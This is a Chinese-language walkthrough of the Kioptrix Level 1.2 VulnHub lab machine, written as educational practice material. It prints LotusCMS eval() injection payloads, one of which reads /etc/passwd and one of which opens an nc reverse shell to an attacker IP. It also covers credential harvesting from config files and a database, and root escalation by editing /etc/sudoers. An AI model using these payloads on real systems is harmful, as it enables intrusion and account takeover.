0x01.靶机的基本信息
靶机名称:Kioptrix: Level 1.2 (#3)
发布日期:2011 年 4 月 18 日
靶机作者:Kioptrix
靶机地址:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
0x02.信息收集
nmap -sn 192.168.31.1/24

sudo nmap -sS -O -A -p 1-65535 192.168.31.127

开放端口:
22 ssh
80 http
0x03.前台CMS框架漏洞-远程代码执行

前台是这样,似乎是博客网站,有个登录页面,可以看到网站使用的cms。

很容易联想到cms框架漏洞,Google一下,3.0的版本确实存在远程代码执行。漏洞产生在'page'参数中,page参数会传递给eval函数调用,而在调用前进行了不正确的验证,因此允许远程代码执行。参考文章:LotusCMS 3.0 – eval() 远程命令执行

虽然不知道这个网站的版本,但这并不妨碍我们试试。
复现也很简单。漏洞参数是page,先抓个包,

然后改为POST请求

构造payload尝试读取passwd文件,
page=index');${readfile("/etc/passwd")};#

没有问题,那尝试反弹shell过来。看下有没有nc,
page=index');${system("whereis nc")};#

ok存在,那么用nc反弹shell,
page=index');${system("nc -e /bin/bash 192.168.31.20 4444")};#

成功连接了。
0x04.MySQL账户
得到shell之后,注意到/gallery/gconfig.php中含有MySQL的账户密码(root/fuckeyou)。

由于目标也没开3306,只能看下有没有phpmyadmin了。

好在确实有。进去在gallery这个数据库下的dev_accounts表下可以找到两个账户。

密码应该是两串MD5加密。拿到在线解密网站都可以解出来。


由此得到两个账户(dreg/Mast3r;loneferret/starwars)。
0x05.提权
猜测应该是ssh账户。

成功进入,用sudo -l,列出目前的权限。可以用root权限执行下面两个命令。

注意到一个文件。


叫我们执行sudo ht,照着做,


这里如果出现了错误,用下面命令解决:
export TERM=xterm-color
然后再执行sudo ht 命令,发现这是一个编辑器。这意味着我们可以以root权限使用这个编辑器去编辑文件,那么用什么可以使当前用户最快获得root?当然是修改/etc/sudoers。操作编辑器打开/etc/sudoers。(编辑器操作是用:ALT+其他键位)

在后面加上:/bin/sh,然后保存退出。

执行命令sudo /bin/sh进行提权,如下图:

这里我们就成功拿到root了。
0x06.总结
这个靶场总结下来关键的几个点在于:一是利用cms本身的框架漏洞,二是拿到反弹shell后耐心找到MySQL配置文件,三是在MySQL数据库中找到ssh账户,最后是通过sudo -l提权。打靶场不要操之过急,沉得住气才能少遗漏些细节。
忘了说的是打这个靶场前先将本地的hosts文件修改下,将域名kioptrix3.com 定向解析到靶机IP,是作者在readme中要求的。另外前台还有个SQL注入,同样也能够拿到权限,可以参考这篇文章,这里就不赘述了。
Comments | NOTHING